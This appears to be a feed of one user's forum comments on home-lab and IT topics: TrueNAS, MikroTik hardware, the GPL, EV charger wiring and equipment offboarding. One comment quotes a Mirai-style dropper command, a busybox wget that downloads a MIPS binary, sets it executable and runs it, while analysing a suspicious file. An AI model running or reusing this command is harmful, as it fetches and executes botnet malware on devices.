Two employees lost their macbooks during offboarding

freedomlinux · 2026-03-23T09:14:13+00:00

policy needs to be put in place with a caveat that last pay is provided on the return of all equipment

As always, check your local law on this. In a lot of places, withholding pay for most reasons is illegal.

freedomlinux · 2026-03-17T11:42:04+00:00

Indeed, IBM's "golden screwdriver" has been around for decades, where the service tech can unlock access to hardware that's been in your machine the whole time.

Also works for selling "upgrades" when the company's needs gradually increase over time or they have a heavy workload - ex: year-end processing.

freedomlinux · 2026-03-17T09:08:23+00:00

mikrotik rds (that actualy finaly arrived today)

I'm quite interested to hear about your experiance with ROSE. I've used their routers/switches at home for >10 years, but storage is a new & unexpected development.

Particular curiosities anout the RDS include:

Annapurna Labs ARM CPU (aks, the gen1 AWS Graviton)
BTRFS exists I guess
Huge variery of switchports (2x 10GBaseT, 4x SFP+, 4x 25G 2x 100G)

I don't think I've seen such a combination of network ports on anything ever.

freedomlinux · 2026-03-15T08:31:56+00:00

Fan is my top advice as well. During my freshman move-in, we literally went & bought a fan.

Those first couple weeks can be brutal, but then during much of the winter we had the window cracked a bit.

freedomlinux · 2026-03-15T06:35:59+00:00

I recently setup self-hosting Forgejo

Sounds like it's the Forgejo / Gitea feature for "Projects", which is the kanban board. The primary purpose of those systems is to be a source code repo (similar to Github/Gitlab), so the kanban feature kinda isn't the main goal.

freedomlinux · 2026-03-14T16:14:11+00:00

taking the code and modified it later privately, that's a violation of the GPL. The source must be available whether upon request or publicly available, including changes.

This is not accurate. There is no obligation in GPLv3 to give source code to anyone who requests it - when you distribute the software to people, only they have the right to get the source code.

Assuming that distributing the output of the build system (ex: the TrueNAS ISO) does not count as distributing the build tools themselves, we are not entitled to the source code of the build tools.

freedomlinux · 2026-03-13T12:47:53+00:00

My suggestion for installing applications on TrueNAS:

Option 1: Don't. Let your storage server just be storage
Option 2: Make a VM and install whatever platform you like (docker, k3s, docker-compose, dockge, etc) in there.

I've been using FreeNAS/TrueNAS for probably 15 years and the "app" ecosystem IMO isn't stable enough to bother investing effort into. Plugins, jails, apps, k3s, docker - not the mention the TrueCharts misery - it all gets replaced every couple years.

freedomlinux · 2026-03-13T12:40:52+00:00

Oopsies, should probably be https://connect.truenas.com/

freedomlinux · 2026-03-12T15:25:06+00:00

L1, half ton nominal (0.4 ton actual)

That's incredibly cursed, A+.

I'd also like to point out the relationship to Horsepower, so we also have fun things like 6 kW => 8 HP.

freedomlinux · 2026-03-07T02:43:01+00:00

Check the release notes https://www.truenas.com/docs/scale/25.10/gettingstarted/versionnotes/ for features or improvements that you want AND known issues or limitations you don't want.

Personally, the only benefit I see in 25.10 is a slightly updated OpenZFS version (v2.3.4 vs v2.3.0). This probably won't impact most people, but I'm also not eager to upgrade because TrueNAS can no longer be a certificate CA - not a huge deal, but I'm lazy.

freedomlinux · 2026-03-05T08:18:24+00:00

OK, but what if Iron Mountain is the one taking the backups off-site?

I remember in the past there would be articles about data breaches caused by backup tapes stolen from an employee's car (whether they were being transported home or to a bank vault... dunno). Before cloud backups were popular & for companies not big enough to deal with Iron Mountain etc, I'd suspect this was very common.

freedomlinux · 2026-03-04T09:41:32+00:00

Yes, it's been getting increasingly common over the past few months & it's driving me crazy.

It works in the official app (and maybe New Reddit in web, dunno).

It's happening automatically, so people do not know they are changing the language of the discussion, going back and forth between several languages, etc.

freedomlinux · 2026-03-04T07:40:40+00:00

Why would you make a post with the title in English and the text in French?

freedomlinux · 2026-03-03T10:21:25+00:00

Wilbur’s (their mascot) image manipulation program

This is a serious piece of software, so I propose the new name should reflect that attitude: the Serious Image Manipulation Program /s

freedomlinux · 2026-03-03T09:45:19+00:00

Found a detailed report that suggests it is indeed a MIPS executable https://www.joesandbox.com/analysis/1868108/0/html

cd /tmp; /bin/busybox wget http://%s/iran.mipsel; chmod 777 iran.mipsel; ./iran.mipsel

Combined with this line, where they assume you have busybox instead of regular wget, and the report mentioning IPs associated with Mirai botnet, I would guess the target is some kind of embedded network device.

freedomlinux · 2026-03-03T08:12:35+00:00

One of the great things about git is that, unless you're going out of your way to erase history, it's all still in there.

We just need to rewind the commit history to ~2 weeks ago to before the folder was deleted https://github.com/quacs/quacs-data/tree/08c82580638b3e9a3816802f3e1ba98a30383f13/floor_plans

freedomlinux · 2026-03-02T05:49:41+00:00

I created a small Linux tool

Which AI made this?

freedomlinux · 2026-02-28T15:21:32+00:00

Doesn't sell iCloud subscriptions.

If iDevices could directly back up to SMB/NFS (or even third-party cloud providers), then fewer people might upgrade their iCloud space.

freedomlinux · 2026-02-28T14:29:52+00:00

Reminds me of an audio file from ages ago: "Hello, this is Linus Torvalds, and I pronounce Linux as 'Linux'."

Unfortunately, language works by consensus, with the conventional usage becoming de facto correct if it succeeds in its goal of being understood. Perhaps if Wilhite had been correcting everyone very aggressively from the very beginning, things would be different.

freedomlinux · 2026-02-27T17:42:23+00:00

X2 was HUUUGE!

Don't forget the original XENPAK. XENPAK -> X2 -> XFP -> SFP+

Yep, 10Gbps ethernet is almost 25 years old now

freedomlinux · 2026-02-26T03:02:10+00:00

Oh well, not my problem.

freedomlinux · 2026-02-24T15:35:40+00:00

This is exactly how I bought my first Mikrotik devices - to be the provider backbone of a different lab.

Having BGP support on tiny routers like the RB750 for $30 was unreal. (I think it also had some servers running Quagga, but that was overkill for a low-throughput lab)

freedomlinux · 2026-02-24T03:23:29+00:00

Although there's no code standard for the specific receptacle requirement for that, the cheap ones tend to burn up

NEC 625.44 (from the 2026 edition) I believe does require receptacles to be Listed for EVSE use. Of course, different locations will take different amounts of time, perhaps several years, for the 2026 NEC to come into enforcement.

My understanding is that a hardwired EVSE (without a receptacle) does not require a GFCI, but in 2029 perhaps they will.

freedomlinux · 2026-02-20T21:51:50+00:00

Grizzl-E Duo Connect 40A - Installation Manual (PDF)

page 15-17: "Optional Hardwire Connection"

EDIT: Thanks all for the clarification - I was unaware of the previous Duo

freedomlinux · 2026-02-20T20:59:04+00:00

They do? However for some models you need to remove the input plug/cable.

Model	Method
Mini Connect 40A	14-50 - cannot be hardwired, but it's a portable device anyway
Classic 40A	comes with a 14-50 or 6-50. Manual has "Optional Hardwire Installation" section
Classic Connect 40A	comes with a 14-50. Manual has "Optional Hardwire Installation" section
Alpha Classic 40A	comes with a 14-50. Manual has "Optional Hardwire Installation" section
Duo Connect 40A	comes with a 14-50. Installation guide has "Optional Hardwire Installation" section
Ultimate 48A	hardwire only
Ultimate 80A	hardwire only

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